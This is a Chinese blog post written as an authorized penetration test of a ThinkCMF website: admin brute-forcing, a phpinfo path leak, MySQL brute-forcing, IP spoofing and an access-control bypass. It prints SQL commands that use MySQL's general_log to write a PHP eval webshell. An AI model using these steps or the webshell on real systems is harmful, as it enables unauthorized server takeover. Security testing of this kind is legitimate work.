zoukankan      html  css  js  c++  java
  • 记一次授权的渗透测试

    前言

    前不久的一次授权测试中,感觉缺少任何一步都无法达到getshell的目的,单个漏洞看得话确实平平无奇,但是如果组合起来的话也许会有意想不到的化学效应。

    前期测试

    拿到这个站的时候一眼就看见了会员登录界面,一开始想着注册,但是觉得会员功能应该很少,没验证码啥的,万一后台管理员也是会员呢那岂不是要是爆破出来了可以去后台尝试一波。

    显示的是手机号登录,但是可以尝试下admin,千万不要被他的前台迷惑了。很巧的是可以进行用户名枚举,而且还存在admin账号,不爆破都对不起他

    字典呢用的是鸭王的字典,爆破神器,用这个字典爆破出来过不少站点(https://github.com/TheKingOfDuck/fuzzDicts), 这次也很幸运,爆破出来了

    拿到后台去登录下,管理员确实喜欢采用同样的密码,登录进去了。看到后台可以自定义上传的后缀心里想可以愉快的交差了,增加后缀php,找上传一条龙getshell。

    当我看到上传图片的编辑器的时候我感觉事情并不是那么简单,果不其然那个增加后缀不起作用


    后台发现是thinkcmf建站系统,网上搜索能利用的漏洞,看到一个漏洞集合(https://www.hacking8.com/bug-web/ThinkCMS/ThinkCMF%E6%BC%8F%E6%B4%9E%E5%85%A8%E9%9B%86%E5%92%8C.html) 挨个去尝试下无果,继续搜索(https://www.freebuf.com/vuls/217586.html), 基本上能尝试的都payload都试了试,应该是版本高漏洞修复了或者利用方式不太对,反正是没利用成功。有的方法对网站有破坏性,我要是试了不得被打死呀。既然到现在无法getshell,那就尝试找找漏洞吧,领导说的好如果无法getshell就多找漏洞,听领导的总没有错。

    进阶阶段

    在一开始打开网站的时候,由于安装了谷歌插件sensinfor(t00ls上发现的),可以初步探测网站的敏感目录,比如备份文件,phpmyadmin,phpinfo等等,在一开始就探测出存在phpinfo,获取了网站的绝对路径

    常规用nmap探测下开放的端口,发现对外开放了3306端口,有绝对路径了,不抱希望的去爆破下3306吧,反正我是没爆破出几个3306的密码,用下超级弱口令检查工具,字典接着用鸭王的吧,谁知道是字典强大还是运气爆破,话说这个不算弱口令,只能说字典里有这个密码吧,只要字典存在的就是弱密码,没有错。

    接下来就是常规操作了,试下log写日志吧

    show variables like '%general%';  查看日志状态
    SET GLOBAL general_log='on'     开启日志读写
    SET GLOBAL general_log_file='xxx.php'  指定日志路径
    SELECT '<?php eval($_POST["cmd"]);?>'  写日志进xxx.php
    

    其他漏洞

    基于负责任的态度也发现了 一些其他的漏洞,不过相对来说危害性不大吧,但是如果在写测试报告的时候如果没得写也是可以写上的。

    登录IP伪造

    这个后台一般都有记录用户登录IP的习惯,但是如果记录IP的时候选取的是x-forward-for构造的IP,这样攻击者是可以伪造登录IP的,如果没有对IP的合法性进行校验,构造一个XSS payload触发存储型XSS这也不是没可能,在测试的时候就遇到过几次,后台记录会员登录IP的地方存在存储型XSS


    不过这里美中不足的是后台对IP的合法性进行了校验,如果是不合法的IP会被重置为0.0.0.0

    越权漏洞

    登录后发现管理员没办法对自己进行操作,这很尴尬,管理员都没办法更改自己的信息

    很简单的办法随便找个可以进行更改的链接,更改url实现修改管理员信息,按照经验这种限制管理员更改自己信息的情况我遇到的很多都是前端限制了。

    然后会弹出详情页面,可以进行修改操作,这里修改下会员等级把自己从普通会员变成VIP吧,一个管理员怎么能是普通会员呢

    总结

    1.对目标站点管理员后台输入admin账号,密码任意,显示密码错误,则admin 账号存在
    2.通过 bp的intruder功能对admin账号进行爆破,密码字典选用fuzzDicts字典
    (https://github.com/TheKingOfDuck/fuzzDicts),可成功爆破。
    3.进入后台后,在图片上传存在文件上传,但是上传处目标站点已进行白名单限制,不能上传一句话。
    4.通过云蟋对目标站点进行cms指纹探测,发现是thinkcm系统,测试几个历史漏洞,但无果。
    16.通过谷歌浏览器插件sensinfor进行信息探测,发现存在phpinfo.php,这里显示了网站的绝对路径
    17.通过namp对目标站点的IP进行扫描,发现存在3306端口
    18.通过超级弱口令工具对目标站点的3306端口进行爆破,最终成功爆破密码。
    19.通过navicat远程连接目标站点mysql,在SQL命令终端处,通过log日志记录写入一句话
    show variables like '%general%';  查看日志状态
    SET GLOBAL general_log='on'     开启日志读写
    SET GLOBAL general_log_file='xxx.php'  指定日志路径
    SELECT '<?php eval($_POST["cmd"]);?>'  写日志进xxx.php
    20.最后通过蚁剑成功连接一句话


  • 相关阅读:
    Linkerd 2.10(Step by Step)—将 GitOps 与 Linkerd 和 Argo CD 结合使用
    Linkerd 2.10(Step by Step)—多集群通信
    Linkerd 2.10(Step by Step)—使用 Kustomize 自定义 Linkerd 的配置
    Linkerd 2.10(Step by Step)—控制平面调试端点
    Linkerd 2.10(Step by Step)—配置超时
    Linkerd 2.10(Step by Step)—配置重试
    Linkerd 2.10(Step by Step)—配置代理并发
    本地正常运行,线上环境诡异异常原因集合
    Need to invoke method 'xxx' declared on target class 'yyy', but not found in any interface(s) of the exposed proxy type
    alpine 安装常用命令
  • 原文地址:https://www.cnblogs.com/backlion/p/15824562.html
Copyright © 2011-2022 走看看